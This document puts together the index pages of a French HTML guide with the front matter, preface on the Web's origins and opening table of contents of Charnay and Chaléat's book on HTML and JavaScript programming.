 Index Chapitre 14

FrontPage Express ...................................................................... 33

FrontPage) ............................................................................... 29
HotDog ................................................................................... 30
Namo WebEditor ....................................................................... 30
NotePad .................................................................................. 34
Nvu ....................................................................................... 35
SoThink .................................................................................. 36
Web Fast ................................................................................. 31
WebExpert ............................................................................... 30
Word ...................................................................................... 31
WYSIWYG (What You See Is What You Get) .................................... 28
Elément ..................................................................................... 22
A .......................................................................................... 59
ABBR ................................................................................... 151
ACRONYM ........................................................................... 151
ADDRESS ............................................................................. 147
APPLET .......................................................................... 155, 426
AREA ................................................................................... 210
B ......................................................................................... 164
BASE ................................................................................... 264
BASEFONT ........................................................................... 165
BDO .................................................................................... 463
BIG ...................................................................................... 164
BLOCKQUOTE ....................................................................... 143
BODY .................................................................................... 53
BR ........................................................................................ 65
BUTTON ............................................................................... 350
CITE .............................................................................. 143, 155
CODE ................................................................................... 152
de type bloc ............................................................................. 23
de type ligne ............................................................................ 23
DFN ..................................................................................... 155
DIV ............................................................................... 140, 288
DL ........................................................................................ 76
DOCTYPE ........................................................................ 47, 245
EM ...................................................................................... 149
EMBED ................................................................................ 430
FIELDSET et LEGEND ............................................................. 360
FONT ............................................................................. 165, 183
FORM .................................................................................. 339
FRAME ................................................................................ 248
FRAMESET ........................................................................... 245
HEAD .................................................................................... 49
Hn ........................................................................................ 54
HR ...................................................................................... 136
HTML .................................................................................... 48

LE GUIDE COMPLET 565

 Chapitre 14 Index

I .......................................................................................... 164
IFRAME ............................................................................... 271
IMG ............................................................................... 155, 191
INPUT .................................................................................. 343
ISINDEX ............................................................................... 350
KBD .................................................................................... 152
LABEL ................................................................................. 357
LINK .................................................................................... 303
MAP .................................................................................... 210
META ........................................................... 50, 157, 280, 305, 386
NOFRAMES .............................................................. 246, 270, 453
NOSCRIPT ............................................................................ 388
OBJECT ....................................................... 155, 224, 269, 426, 455
OL ........................................................................................ 73
P .......................................................................................... 57
PARAM ................................................................................ 429
parent ..................................................................................... 23
PRE ..................................................................................... 141
Q ........................................................................................ 143
S ......................................................................................... 164
SCRIPT ................................................................................. 383
SELECT ................................................................................ 352
SMALL ................................................................................. 164
SMP ..................................................................................... 152
SPAN ............................................................................. 140, 288
STRIKE ................................................................................ 164
STRONG ............................................................................... 149
structure .................................................................................. 24
STYLE ................................................................................. 282
SUB ..................................................................................... 167
SUP ..................................................................................... 167
TABLE ................................................................................... 90
TD ........................................................................................ 90
TEXTAREA ........................................................................... 356
TITLE .................................................................................... 49
TR ........................................................................................ 90
TT ....................................................................................... 164
U ........................................................................................ 164
UL ........................................................................................ 75
VAR ..................................................................................... 155
EM, élément ........................................................................ 149, 495
EMBED, élément ........................................................................ 430
Encodage de caractères ................................................................. 157
Enctype, attribut ................................................................... 340, 374
Entités de caractères .................................................................... 160
Evénements ............................................................................... 390

566 LE GUIDE COMPLET

 Index Chapitre 14

F
Face, attribut ............................................................................. 166
Feuille de styles
alternative .............................................................................. 304
auditive ................................................................................. 328
en cascade .............................................................................. 323
externe, créer .......................................................................... 294
héritage ................................................................................. 323
interne, créer ........................................................................... 282
principales propriétés CSS ........................................................... 309
propriétés de boîtes ................................................................... 311
FIELDSET, élément ............................................................... 360, 495
Filezilla .................................................................................... 475
Firefox ...................................................................................... 39
FONT, élément .............................................................. 165, 183, 495
For, attribut ............................................................................... 358
FORM, élément .................................................................... 339, 495
Format HTML ............................................................................. 49
Formulaire
ajout d’une structure .................................................................. 360
bouton d’action ........................................................................ 348
bouton d’option ....................................................................... 346
bouton de soumission graphique ................................................... 347
bouton de soumission ou de réinitialisation ...................................... 346
boutons ................................................................................. 350
case à cocher .......................................................................... 345
commande cachée ..................................................................... 348
commandes en lecture seule ......................................................... 369
commandes inactives ................................................................. 368
et focus ................................................................................. 362
menu .................................................................................... 352
saisie de mot de passe ............................................................... 344
saisie de texte .......................................................................... 343
soumettre ............................................................................... 370
touches d’accès rapide ............................................................... 366
traitement des données ............................................................... 373
traiter à l’aide d’un script ............................................................ 415
zone de texte de saisie multilignes ................................................. 356
Frame (voir Jeu d’encadrement) ...................................................... 244
Frame, attribut ............................................................................. 95
FRAME, élément .................................................................. 248, 496
Frameborder, attribut .................................................................... 258
Frameset (voir Jeu d’encadrement) ................................................... 244
FRAMESET, élément ............................................................. 245, 496
Fréquentation, suivre la ................................................................. 478

LE GUIDE COMPLET 567

 Chapitre 14 Index

FrontPage ................................................................................... 29
FrontPage Express ........................................................................ 33
FTP (File Transfer Protocole) .......................................................... 474

G
Get, méthode HTTP ..................................................................... 371
Gif gIf giF ................................................................................ 208
Google Analytics ........................................................................ 478
compte .................................................................................. 478

H
HEAD, élément ..................................................................... 49, 496
Headers, attribut ......................................................................... 441
Height, attribut ........................................................................... 194
Héritage
des attributs ............................................................................ 130
feuille de styles ........................................................................ 323
Hn, élément .......................................................................... 54, 496
HotDog ..................................................................................... 30
HR, élément ........................................................................ 136, 496
Href, attribut ....................................................................... 213, 305
HTML ..................................................................................... 496
commentaire ........................................................................... 137
définition ................................................................................. 12
éditeur .................................................................................... 28
élément ................................................................................... 48
éléments structuraux de texte ....................................................... 155
événements intrinsèques ............................................................. 391
format .................................................................................... 49
HTTP (HyperText Transfer Communication Protocol) .............................. 60
HTTP-EQUIV, attribut .................................................................. 419

I
I, élément ........................................................................... 164, 496
Id, attribut ................................................................ 62, 140, 269, 287
IETF (Internet Engineering Task Force) ............................................... 12
IFRAME, élément ................................................................. 271, 497
Image
animée .................................................................................. 198
d’arrière-plan, inclure ................................................................ 187

568 LE GUIDE COMPLET

 Index Chapitre 14

insérer ................................................................................... 190

réduire la taille des fichiers .......................................................... 237
réduire la taille physique ............................................................. 234
IMG, élément ................................................................ 155, 191, 497
[Link] ................................................................................ 247
INPUT, élément ................................................................... 343, 497
INS ........................................................................................ 498
Instruction
!DOCTYPE ............................................................................. 47
[Link] ........................................................................ 384
Internationalisation ...................................................................... 456
Internet Explorer .......................................................................... 39
ISINDEX, élément ................................................................ 350, 498
Ismap, attribut ............................................................................ 222

J
Java (différences avec Java script) .................................................... 425
JavaScript ................................................................................. 397
compatibilité avec les navigateurs .................................................. 407
différences avec Java ................................................................. 425
propriétés de document .............................................................. 406
Jeu d’encadrement ....................................................................... 244
accessibilité ............................................................................ 453
cadre cible ............................................................................. 261
cible par défaut des liens ............................................................ 264
conflits de noms ....................................................................... 263
contenu de remplacement ............................................................ 270
imbriquer ............................................................................... 265
noms réservés ......................................................................... 262
partage de données ................................................................... 269
JVM (Java Virtual Machine) ........................................................... 455

K
KBD, élément ...................................................................... 152, 498

L
LABEL, élément .................................................................. 357, 498
Lang, attribut ................................................................. 140, 145, 457
valeurs .................................................................................. 459
LEGEND, élément ................................................................ 360, 498
Légende de tableau ....................................................................... 93

LE GUIDE COMPLET 569

 Chapitre 14 Index

LI, élément ........................................................................... 73, 498

Lien hypertexte, créer .................................................................... 59
Link, attribut ............................................................................. 177
LINK, élément ..................................................................... 303, 498
Liste
à puce, créer ............................................................................. 75
de définitions, créer .................................................................... 76
imbriquée, créer ........................................................................ 79
ordonnée, créer ......................................................................... 73
Listing
[Link] v. 2.7.1 .................................................................. 252
[Link] ................................................................................ 333
[Link] 2.7.1 ................................................................... 251
citations imbriquées .................................................................. 146
[Link] ................................................................................. 402
élément CODE .................................................................. 151, 153
élément MAP restitué ................................................................ 230
éléments ABBR et ACRONYM .................................................... 151
éléments OBJECT et EMBED ...................................................... 430
exemple MathML ..................................................................... 172
extrait de la section HEAD de la page d’accueil de MicroApplication ........ 53
extrait du code du fichier listesimbriqué[Link] .................................. 87
[Link] (version 1.4.1) ........................................................... 92
fonction Get_Cookie ................................................................. 420
[Link] v.2.7.1 ..................................................................... 250
[Link] v.2.7.2 ..................................................................... 256
listes imbriquées ........................................................................ 80
notations scientifiques en texte ..................................................... 169
pageacc1_0.html. ....................................................................... 57
pageacc1_3_2.html ..................................................................... 64
pageacc1_3_3.html ..................................................................... 68
Pageacc_v1_3_3.html .................................................................. 46
[Link] ........................................................................... 318
[Link] ......................................................................... 316
[Link] version 1.4.2 ............................................................ 110
[Link] version 3.8.1 ............................................................ 298
region_erreurs.html ................................................................... 120
[Link] ............................................................................. 329
[Link] ........................................................................... 329
[Link] ......................................................................... 332
[Link] ............................................................... 289
tailles de police ........................................................................ 166
[Link] ............................................................................... 333
Localisation ............................................................................... 456
Longdesc, attribut ....................................................................... 259
Lynx ......................................................................................... 41

570 LE GUIDE COMPLET

 Index Chapitre 14

M
MAP, élément ...................................................................... 210, 499
Marginheight, attribut ................................................................... 258
Marginwidth, attribut .................................................................... 258
Masquer (les données de script aux agents utilisateurs) ........................... 389
Mathématiques, afficher en HTML ................................................... 169
MathML ................................................................................... 171
Media, attribut ..................................................................... 291, 305
@media, règle ..................................................................... 305, 332
MENU ..................................................................................... 499
META, élément ............................................. 50, 157, 280, 305, 386, 499
Method, attribut .......................................................................... 340
Microsoft Gif Animator ................................................................ 204
Modèle MVC (Model-View-Controller) ............................................. 279
Modifier
apparence du texte .................................................................... 164
couleur d’une cellule de tableau .................................................... 184
couleur du texte dans un élément .................................................. 183
couleurs d’un tableau ................................................................. 184
marges d’un paragraphe .............................................................. 148
police ................................................................................... 165
schéma de couleurs de la page ..................................................... 178
site pour l’adapter à plusieurs langues ............................................. 456
styles affichés par le navigateur .................................................... 325
Module complémentaire .......................................................... 227, 454
Mosaic ...................................................................................... 12
Mozilla ...................................................................................... 39
Multiple, attribut ......................................................................... 353
MVC (Model-View-Controller), modèle ............................................. 279

N
Name, attribut ............................................................ 50, 62, 257, 340
Namo WebEditor .......................................................................... 30
Navigateur .................................................................................. 39
activer ou désactiver les scripts ..................................................... 384
afficher le code source ................................................................. 52
compatibilité JavaScript .............................................................. 407
Internet Explorer ........................................................................ 39
Lynx ...................................................................................... 41
modifier les styles affichés .......................................................... 325
Mosaic ................................................................................... 12
Mozilla/Firefox ......................................................................... 39
Opera ..................................................................................... 39

LE GUIDE COMPLET 571

 Chapitre 14 Index

Safari ..................................................................................... 39
Navigator, objet .......................................................................... 410
NOFRAMES, élément ................................................ 246, 270, 453, 499
Nohref, attribut ........................................................................... 220
Noresize, attribut ........................................................................ 258
NOSCRIPT, élément .............................................................. 388, 499
NotePad (voir Bloc-notes) ............................................................... 34
Numéro de version ........................................................................ 63
Nvu .......................................................................................... 35

O
OBJECT, élément ......................................... 155, 224, 269, 426, 455, 499
Objet navigator ........................................................................... 410
OL, élément .......................................................................... 73, 499
Opera ........................................................................................ 39
OPTGROUP, élément ............................................................. 354, 500
OPTION, élément ................................................................. 353, 500

P
P, élément ............................................................................ 57, 500
Page d’accueil ............................................................................. 47
Paint ....................................................................................... 180
Paint Shop Pro ..................................................................... 180, 239
Paragraphe
aligner .................................................................................... 67
créer ...................................................................................... 57
modifier les marges ................................................................... 148
PARAM, élément .................................................................. 429, 500
PhotoShop ................................................................................ 180
Plug-ins (voir Module complémentaire) ............................................. 156
Popup (voir Fenêtre surgissante) ...................................................... 404
Post, méthode HTTP .................................................................... 371
PRE, élément ....................................................................... 141, 500
Précaution avec les couleurs ........................................................... 184
Propriétés CSS ........................................................................... 310
PwWebSpeack ............................................................................ 467
PwWebspeak ............................................................................. 453

Q
Q, élément .......................................................................... 143, 500

572 LE GUIDE COMPLET

 Index Chapitre 14

R
Readonly, attribut ........................................................................ 369
Référence de caractère .................................................................. 154
entité .................................................................................... 160
numérique .............................................................................. 159
Règle @media ..................................................................... 305, 332
Rel, attribut ............................................................................... 304
Résolution ................................................................................ 236
Rows, attribut ............................................................................ 247
Rowspan, attribut ........................................................................ 107
Rules, attribut .............................................................................. 95

S
S, élément .......................................................................... 164, 500
Safari ........................................................................................ 39
SAMP ..................................................................................... 500
Saut de ligne, créer ....................................................................... 65
Scope, attribut ............................................................................ 441
SCRIPT ................................................................................... 500
à action unique ........................................................................ 381
activer ou désactiver dans le navigateur ........................................... 384
CGI (Common Gateway Interface) ................................................ 415
cookie ................................................................................... 416
côté client .............................................................................. 380
côté serveur ............................................................................ 380
ECMAScript ........................................................................... 412
événements intrinsèques HTML .................................................... 390
JavaScript .............................................................................. 397
masquer les données aux agents utilisateurs ...................................... 389
répétitif ................................................................................. 382
traitement de formulaire ............................................................. 415
VBScript ............................................................................... 413
SCRIPT, élément .................................................................. 383, 500
Scrolling, attribut ........................................................................ 258
SELECT, élément ................................................................. 352, 500
Sélecteur CSS ............................................................................ 282
Sensibilité à la casse
HTML .................................................................................... 24
XHTML .................................................................................. 24
SGML (Standard Generalized Markup Language) ................................... 12
Shape, attribut ............................................................................ 214
Shockwave ................................................................................ 455

LE GUIDE COMPLET 573

 Chapitre 14 Index

Site Web
hébergement ........................................................................... 473
publier sur le Web .................................................................... 472
suivre la fréquentation ............................................................... 478
test ...................................................................................... 466
Size, attribut .............................................................................. 165
SMALL, élément .................................................................. 164, 501
SmartSaver 3.0 ........................................................................... 239
SMP, élément ............................................................................. 152
SoThink HTML Editor ................................................................... 36
Span, attribut ............................................................................. 124
SPAN, élément ............................................................... 140, 288, 501
Src, attribut ......................................................................... 191, 257
Start, attribut ............................................................................... 74
STRIKE, élément .................................................................. 164, 501
STRONG, élément ................................................................ 149, 501
Style, attribut ....................................................................... 148, 281
STYLE, élément ................................................................... 282, 501
masquer le contenu ................................................................... 292
SUB, élément ...................................................................... 167, 501
Summary, attribut ............................................................. 93, 128, 439
SUP, élément ....................................................................... 167, 501

T
Tabindex, attribut ........................................................................ 363
TABLE, élément .................................................................... 90, 501
Tableau
accessibilité ............................................................................ 441
aligner .................................................................................... 94
aligner une cellule .................................................................... 102
attributs de bordure et de règles de l’élément TABLE ........................... 96
bordures et règles, attributs border, frame et rules ................................ 95
calcul du nombre de colonnes ...................................................... 129
cellules manquantes et cellules se recoupant ..................................... 117
colonne, élément TD ................................................................... 90
créer ...................................................................................... 89
en-tête de colonne ...................................................................... 93
fixer la largeur des colonnes ........................................................ 104
fusionner des cellules ................................................................ 107
héritage des attributs ................................................................. 130
imbriquer ............................................................................... 127
légende de tableau, élément CAPTION ............................................. 93
ligne, élément TR ...................................................................... 90
mise en forme, attributs char et charoff ........................................... 132

574 LE GUIDE COMPLET

 Index Chapitre 14

modifier la couleur d’une cellule ................................................... 184

modifier le schéma de couleurs ..................................................... 184
regrouper des colonnes ............................................................... 122
regrouper des lignes .................................................................. 121
taille et structure des cellules ......................................................... 98
Tabulation (ordre de) .................................................................... 363
Target, attribut ............................................................................ 261
TBODY, élément .................................................................. 121, 501
TD, élément .......................................................................... 90, 502
Test du site Web ......................................................................... 466
Text, attribut .............................................................................. 177
TEXTAREA, élément ............................................................. 356, 502
Texte
éléments structuraux .................................................................. 155
modifier l’apparence .................................................................. 164
modifier la couleur du texte dans un élément .................................... 183
structurer ............................................................................... 149
TFOOT, élément ................................................................... 121, 502
TH, élément .......................................................................... 93, 503
The Gimp ........................................................................... 180, 216
THEAD, élément .................................................................. 121, 503
Tim Berners-Lee .......................................................................... 12
Title, attribut ....................................................................... 196, 304
TITLE, élément ..................................................................... 49, 503
Titre, créer ................................................................................. 54
TR, élément .......................................................................... 90, 503
TT, élément ......................................................................... 164, 503
Type, attribut ........................................... 74, 76, 226, 287, 305, 343, 386

U
U, élément .......................................................................... 164, 503
UL ......................................................................................... 504
Ulead Gif Animator ..................................................................... 204
UNICODE ................................................................................ 461
[Link], bibliothèque JavaScript .................................................... 479
UrchinTracker(), fonction JavaScript ................................................. 479
URI (Universal Resource Identifier) ................................................... 59
URL (Universal Resource Locator) .................................................... 59
Usemap, attribut ......................................................................... 231

LE GUIDE COMPLET 575

Chapitre 14 Index

V
Valign, attribut ........................................................................... 102
Value, attribut .............................................................................. 74
VAR, élément ...................................................................... 155, 504
VBScript .................................................................................. 413
Version, numéro de ....................................................................... 63
Vlink, attribut ............................................................................ 177

W
W3C (World Wide Web Consortium) .................................................. 12
Web Fast ................................................................................... 31
WebExpert ................................................................................. 30
WebFTP ................................................................................... 474
Width, attribut ............................................................... 104, 124, 194
Word ........................................................................................ 31
WS_FTP95 LE ........................................................................... 476

X
XHTML (eXtensible HyperText Markup Language) ........................... 16, 21
XML (eXtensible Markup Language) .................................................. 17

Composé en France par Jouve

11, bd de Sébastopol - 75001 Paris
 HTML et Javascript
Daniel Charnay, Philippe Chaléat

To cite this version:

Daniel Charnay, Philippe Chaléat. HTML et Javascript. Eyrolles, pp.450, 1998, Best of Ey-
rolles, 2-212-11157-6. <hal-00001356>

HAL Id: hal-00001356

[Link]
Submitted on 19 May 2014

HAL is a multi-disciplinary open access L’archive ouverte pluridisciplinaire HAL, est

archive for the deposit and dissemination of sci- destinée au dépôt et à la diffusion de documents
entific research documents, whether they are pub- scientifiques de niveau recherche, publiés ou non,
lished or not. The documents may come from émanant des établissements d’enseignement et de
teaching and research institutions in France or recherche français ou étrangers, des laboratoires
abroad, or from public or private research centers. publics ou privés.

Distributed under a Creative Commons Attribution - NonCommercial 4.0 International License

HTML, JavaScript
CHEZ LE MÊME ÉDITEUR
Dans la même collection-----------------------------------------------------------------------------------------

C. Delannoy. - Langage C : la référence.

N°11123, 1999, 944 pages.

G. Pujolle. - Les Réseaux.

N°11121, 2000, 1096 pages.

P. Labbe. - Photoshop 6.
N°11155, 2001, 732 pages.

P. Labbe. - Illustrator 9.
N°11156, 2000, 600 pages.

Autre ouvrage des mêmes auteurs------------------------------------------------------------------------------------------------

Ph. Chaléat, D. Charnay. - Les Cahiers du programmeur PHP-MySQL.

Vol. 2 : Ateliers Web professionnels. N°11089, septembre 2002, 150 pages.

Autres ouvrages sur le développement Web ------------------------------------------------------------------------------------

S. Holzner. - Total HTML.

N°9255, 2001, 1010 pages.

D. Thau. - JavaScript par la pratique.

N°9270, 2001,428 pages.

D. Hunter, et coll. - Initiation à XML.

N°9248, 2000, 850 pages.

J.-P. Leboeuf. - Les Cahiers du programmeur PHP-MySQL.

Vol. 1 : Premiers pas en PHP. N°11069, septembre 2002, 150 pages.

A. Tasso. - Le livre de Java premier langage.

N°9156, 2000, 312 pages.

C. Delannoy. - Programmer en Java. Avec un CD-Rom incluant Borland JBuilder 6 Personnel.

N°11119, 2e édition, 2002, 650 pages.

S. Allamaraju et al. - Programmation J2EE. Conteneurs J2EE, servlets, JSP et EJB.

N°9260, 2001, 1 260 pages.
 HTML, JavaScript

Philippe C
haléat Daniel Charnay
 ÉDITIONS EYROLLES
61, Bld Saint-Germain
75240 Paris Cedex 05
[Link]

Publié à l'origine sous le titre « Programmation HTML et JavaScript »,

cet ouvrage a fait l'objet d'un reconditionnement à l'occasion de son 9e tirage
(format semi-poche, nouvelle couverture et nouveau prix).
Le texte de l'ouvrage reste inchangé par rapport au tirage précédent.

Le code source des exemples du livre est disponible sur le site :

www. editions-eyrolles. com

Le code de la propriété intellectuelle du 1er juillet 1992 interdit en effet

expressément la photocopie à usage collectif sans autorisation des ayants droit.
Or, cette pratique s'est généralisée notamment dans les établissements d'ensei­
gnement, provoquant une baisse brutale des achats de livres, au point que la
possibilité même pour les auteurs de créer des œuvres nouvelles et de les faire
éditer correctement est aujourd'hui menacée.
En application de la loi du 11 mars 1957, il est interdit de reproduire intégralement ou
partiellement le présent ouvrage, sur quelque support que ce soit, sans autorisation de
l'Editeur ou du Centre Français d'exploitation du droit de Copie, 20, rue des Grands
Augustins, 75006 Paris.
© Groupe Eyrolles, 1998, pour la présente édition
© Groupe Eyrolles, pour la nouvelle présentattion, 2002, ISBN 2-212-11157-6
Cet ouvrage constitue la deuxième édition, revue et largement augmentée, de HTML et la
programmation des serveurs Web de Philippe Chaléat et Daniel Charnay, éditions Eyrol-
les 1996.

Les appellations suivantes sont des marques commerciales ou déposées des sociétés ou
organisations qui les produisent :

Macintosh, Apple, Teachtext, Netscape, Communicator, Internet Explorer, Unix, Frame-

Maker, Adobe, PostScript, Acrobat, PDF, Illustrator, Photoshop, Director, Sun, Java,
JavaScript, HotJava, Oracle, CompuServe GIF, QuickDraw, Microsoft, Word, Excel,
PowerPoint.
 Préface

Quand à la fin de l'année 1989, je pris connaissance au CERN, d'une proposition

interne de développement d'un système de partage de l'information, j'étais loin d'imagi­
ner qu'elle bouleverserait non seulement notre environnement de travail, mais la société
elle-même. Seul probablement son auteur, Tim Berners Lee, mesurait déjà l'importance
de l'entreprise. Il avait baptisé le projet qu'il nous présentait “World-Wide Web”, le
tissu planétaire d'information. Mon collègue venait de poser le premier jalon d'une
révolution technologique dont les effets sociaux sont encore inconnus.
Tout semble depuis avoir été dit sur le World-Wide Web et, beaucoup sera encore dit.
Cette manière d'utiliser l'Internet, cette “application” comme nous l'appelons, s'est
même confondue avec le réseau lui-même. Les raccourcis réducteurs se sont imposés, le
“Web” et le “Net” sont devenus synonymes dans le langage populaire. Cette distorsion
de la réalité initiale, qui ne distingue plus le transport d'informations des informaations
elle-mêmes, irrite les spécialistes. Ils ont raison sur le fond. Quoique... Si, une fois de
plus, l'inconscient populaire avait raison ? Peut-être la distinction n'est-elle plus que
purement sémantique. L'Internet est sans doute simplement devenu “le Web” - puisque
que tout peut pratiquement se faire par l'intermédiaire d'une interface homme-machine
Web - et le reste n'est que détails.

Le hasard et la nécessité
Il y a de nombreuses raisons au succès du World-Wide Web, là où tant de projets techno­
logiques, en particulier ceux qui sont issus de l'Europe, ont échoué. Comme toute nais­
sance, l'avènement du Web résulte du concours du hasard et de la nécessité.
Le Web correspondait à un besoin réel - trop de projets cherchent leur application après
coup - exprimé par une communauté bien définie, celle des physiciens des hautes éner­
gies. Cette communauté possède une caractéristique unique : elle est constituée de
10 000 chercheurs et techniciens qui doivent collaborer, et sont répartis dans le monde
entier ; la dimension planétaire était présente dès le départ.
Le hasard a voulu que le réseau de transport de l'Internet se développe au même moment
et soit pourvu de mécanismes uniques dans l'histoire des communications. L'un de ces
mécanismes, essentiel pour le fonctionnement du Web, constitue la possibilité pour des
systèmes connectés de disposer d'un nom unique dans le monde, indépendamment de
leur adresse physique, et un système automatique et distribué (le DNS) permettant de
transformer ces noms en adresses.
Dans le même temps, il se trouve que Tim Berners Lee, de son côté maîtrisait parfaite­
ment les télécommunications et les techniques de structuration des documents.
Dans notre monde technologique toujours plus complexe, la compartimentation des indi­
vidus en spécialités devient un frein à la créativité. Les grandes avancées sont souvent
réalisées par ceux qui maîtrisent plusieurs domaines. La double invention par la même
personne du Hypertext Mark-Up Langage (HTML) et du Hypertext Transport Protocol
(HTTP) en est l'illustration.
Finalement, la méthode. Plutôt que de se contenter de spécifier la technologie - ce qui
est l'habitude des organes de standardisation officiels - le concepteur l'a réalisée, mise
en oeuvre, et offerte au public. Plutôt que de dire : “Voilà comment doit fonctionner
HTTP, à vous de le développer, d'en tester les interfonctionnements”, le concepteur dit
“Voilà un logiciel ; chargez-le, il marche”. Et il marcha!

Simplicité
Le projet WWW doit aussi son succès à sa technologie simple, épurée à l'extrême.
HTTP repose sur un principe ancien mais assez hérétique dans le monde des télécommu­
nications et même de l'informatique. En effet, pour agir sur un ordinateur distant
- demander l'envoi d'une page d'information - nul besoin de posséder un compte sur cet
ordinateur, de s'y connecter et d'avoir un lien permanent - une connexion disent les spé­
cialistes - pendant la phase de dialogue. Un simple message, véhiculable de manière
asynchrone de relais en relais, est suffisant s'il décrit entièrement la fonction à réaliser
sur l'ordinateur distant, et indique qui formule cette demande. C'est le principe de la
poste. A l'arrivée, le message est simplement analysé et sa commande réalisée.
HTML, lui, est un sous-ensemble d'un autre standard, SGML, qui sert à définir des
types de documents. Le succès initial de HTML est largement dû à sa simplicité, on pour­
rait même dire sa rusticité. Contrairement à ce qui se dit, HTML n 'est pas, ou du moins
pas encore, un langage qui permet d'écrire de la documentation “hypermédia”. Certes,
il permet l'incorporation d'images et de séquences son ou vidéo. Mais il ne permet pas
de spécifier des relations temporelles entre les différentes parties multimédias d'un
document, par exemple indiquer que tel texte doit être affiché en même temps que telle
séquence sonore est jouée.

Des nouveaux métiers

La réalisation de documents Web a donné naissance à de nouvelles catégories profes­
sionnelles : les auteurs Web. Réaliser une documentation Web nécessite la réunion d'un
ensemble de compétences nouvelles : graphisme pour la réalisation des images, le choix
des polices et la mise en page générale, sciences de la communication pour la définition
des messages principaux, programmation (simplifiée) pour la réalisation des pages,
administration informatique pour la mise en œuvre des serveurs, gestionnaire de site
Web (Webmaster) pour l'entretien régulier et la cohérence de l'ensemble, télécommuni­
cations pour l'évaluation de l'impact réseau. Selon les cas et l'importance des projets,
ces compétences se trouveront réunies chez une seule personne, ou au sein d'une équipe
qui devra travailler en collaboration étroite.
Mass media...
Quel avenir peut-on prédire au Web et à la documentation qu'il supporte. Le Web est un
nouveau média de masse, qui présente des caractéristiques uniques. Il est par exemple
plus facile de créer de l'information avec le Web qu'avec n'importe quel autre moyen de
diffusion de masse. Le Web se caractérise aussi par le très faible coût de la diffusion de
l'information auprès d'une très vaste audience.
Grâce à ces particularités, le Web fait partie des “mass media” et il y a peu de chances
qu'il échappe, à terme, à l'évolution de tout moyen de masse. L'histoire des médias ne
recense aucun exemple où des concentrations de fournisseurs de l'information ne soit
apparues. Avec le Web, une nouvelle industrie a vu le jour : celle des serveurs qui vivent
de l'information fournie. Comme les chaînes de télévision, ils sont de deux types :
payants ou gratuits, financés alors par la publicité. Les sites financés par la publicité
sont confrontés aux problèmes d'audimat classiques. Pour rester attractifs, ils devront
offrir une qualité de service (bande passante d'accès au réseau, disponibilité et puis­
sance des ordinateurs serveurs) et des contenus nécessitant toujours plus de moyens.
Hormis les sites très thématiques, seuls quelques fournisseurs puissants issus de concen­
trations domineront. Cette domination aura plusieurs effets. Ainsi, l'esprit frondeur, sou­
vent polémique, parfois contestataire qui prévalait initialement dans l'Internet alors
l'apanage des universitaires va progressivement s'estomper au profit du ton plus classi­
que des moyens de masse, reposant sur la recherche de dénominateurs communs afin de
ne pas s'aliéner une partie de l'audience et de toucher le plus grand nombre. Subsiste­
ront néanmoins un grand nombre de serveurs institutionnels ou privés, où l'information
pratique, culturelle, administrative, événementielle sera mise sans contrepartie ni publi­
cité, dans un but de service public ou de promotion, à la disposition de tous.

Un ouvrage exceptionnel
C'est un honneur et un plaisir pour moi que d'avoir contribué à cet avant-propos. Ce
livre est un extraordinaire outil pour comprendre et utiliser HTML. Il faut remercier
Daniel Charnay et Philippe Chaléat pour leurs remarquables qualités pédagogiques
mises à la disposition d'une connaissance profonde, à la fois théorique et pratique, du
sujet. Le résultat est un ouvrage exceptionnel et précieux pour tous ceux qui envisagent
de bénéficier de cette possibilité unique dans l'histoire de la communication qu'offre “le
Web” : le fait que chacun puisse aisément devenir non seulement consommateur, mais
également producteur d'information.

François Fluckiger
Responsable adjoint de Réseaux du CERN
Chargé de cours à l'Université de Genève
V
 Table des matières

1. Introduction.......................................................................................1
Les langages du Web, introduction à la deuxième édition ........................................1
A l'origine : le langage HTML..........................................................................1
Le Web, support d'applications.........................................................................1
Le langage JavaScript....................................................................................... 2
Comment JavaScript se situe-t-il par rapport à HTML ? .................................2
Où s'exécute un script JavaScript ?...................................................................3
D'où provient le code JavaScript ?....................................................................3
Le langage JAVA .............................................................................................3
Java ou JavaScript ? ......................................................................................... 4
HTML 3.2, 4, Dynamic HTML ? ..............................................................................5
Comment étudier avec ce manuel (ou sans) ?............................................................ 6
Comment est décrit JavaScript ?................................................................................ 6
Comment est rédigé ce manuel ? ...............................................................................6
Conventions d'écriture................................................................................................7
Icônes ........................................................................................................................ 7
Environnement de test et de production ....................................................................9
Faut-il encore apprendre HTML ? ............................................................................ 9

2. L'hypertexte ................................................................................... 11
Le livre ................................................................................................................... 12
Le document technique ........................................................................................... 12
Le journal ................................................................................................................ 13
Notions d'hypertexte................................................................................................ 14
Ecrire de l'hypertexte ..................................................................................... 15
Du multimédia pour le Web ......................................................................... 15

3. HTML, son environnement........................................................... 17

Qu'est-ce que HTML ? ............................................................................................17
Dans quel contexte s'exécute HTML ?.................................................................... 18
Le protocole d'adressage des documents - l'URL................................................... 19
 Programmation HTML et JavaScript

Où sont stockés les documents HTML ? ................................................................ 20

Quelles protections pour les documents ?............................................................... 21

Le langage HTML.............................................................................. 23

4. Structure......................................................................................... 25
Les balises................................................................................................................25
L'accentuation ......................................................................................................... 26
Structuration du document HTML ......................................................................... 27
<HTML> ....................................................................................................... 27
<HEAD> ....................................................................................................... 27
<TITLE> ....................................................................................................... 27
<BODY> ....................................................................................................... 28
<ADDRESS> ................................................................................................ 29
<!-- Commentaires --> ...................................................................................29
Attributs d'une balise............................................................................................... 29
Le document HTML minimum................................................................................30
Tester les documents HTML .................................................................................. 30

5. Divisions.......................................................................................... 33
<Hn>...............................................................................................................33
<BR> ............................................................................................................. 34
<P> ................................................................................................................ 35
<HR> ............................................................................................................. 35
L'attribut SIZE.................................................................................. 36
L'attribut WIDTH............................................................................. 36
L'attribut ALIGN.............................................................................. 36
L'attribut NOSHADE....................................................................... 36
<PRE> ........................................................................................................... 36

6. Listes ............................................................................................... 39
Liste descriptive....................................................................................................... 40
<DL> ............................................................................................................. 40
<DT> ............................................................................................................. 40
<DD>..............................................................................................................41
Listes régulières ...................................................................................................... 42
<LI>................................................................................................................42
<LH> ............................................................................................................. 42
<UL> ............................................................................................................. 42
L'attribut TYPE dans les listes non ordonnées................................. 43
Emboîtement de listes non ordonnées............................................... 44

II
Table des matières

<OL>............................................................................................................... 45
L'attribut TYPE dans les listes ordonnées...........................................46
L'attribut START dans les listes ordonnées........................................ 46
L'attribut value.................................................................................... 46
Emboîtement de listes ordonnées........................................................47
Listes imbriquées...................................................................................................... 48

7. Styles.................................................................................................51
Style physique ou style des caractères...................................................................... 51
<B> ................................................................................................................. 51
<I>................................................................................................................... 51
<U> .................................................................................................................51
<TT> ...............................................................................................................52
Style logique, style de paragraphe............................................................................ 52
<CITE> ...........................................................................................................52
<CODE> .........................................................................................................53
<DFN> ............................................................................................................53
